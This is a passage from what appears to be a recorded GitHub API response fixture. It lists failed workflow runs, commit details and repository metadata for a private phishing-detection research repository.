errors","timestamp":"2020-09-29T07:34:03Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} - -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection/actions/runs?status=failure -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"054d1c3aa84ef0211931eb8e2309360a2966f35e3e03298537575d07bd9af1ad"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4905'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '95'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F151:7434:94025:FA6E5:5F987CA1')] -{"total_count":274,"workflow_runs":[{"id":292080359,"node_id":"MDExOldvcmtmbG93UnVuMjkyMDgwMzU5","head_branch":"x_spam_flag","head_sha":"4e74b5af49195487cc25e3c1ab441bf9847e0fd9","run_number":1074,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1298619940,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk4NjE5OTQw","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292080359","pull_requests":[],"created_at":"2020-10-06T19:37:25Z","updated_at":"2020-10-06T21:20:46Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1298619940","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"4e74b5af49195487cc25e3c1ab441bf9847e0fd9","tree_id":"77aa1beb0d2e686b25f12f2d46699b0ff3df537b","message":"Fixed header.x_spam_flag","timestamp":"2020-10-06T19:37:11Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287367688,"node_id":"MDExOldvcmtmbG93UnVuMjg3MzY3Njg4","head_branch":"API_Flatten","head_sha":"151e404c37f8e215dcbff51610120fa8f4b0e909","run_number":1062,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1285349718,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1MzQ5NzE4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287367688","pull_requests":[],"created_at":"2020-10-04T03:32:40Z","updated_at":"2020-10-04T03:48:09Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285349718","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"151e404c37f8e215dcbff51610120fa8f4b0e909","tree_id":"366c7a9c966876764796bacb8475fae8a9e59a38","message":"Unified extract_train_features","timestamp":"2020-10-04T03:32:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287316132,"node_id":"MDExOldvcmtmbG93UnVuMjg3MzE2MTMy","head_branch":"API_Flatten","head_sha":"f42e4ed29fc3bfc2894360f6706d4abce1fe9f30","run_number":1059,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1285254191,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1MjU0MTkx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287316132","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287316132","pull_requests":[],"created_at":"2020-10-04T02:31:21Z","updated_at":"2020-10-04T02:46:20Z","jobs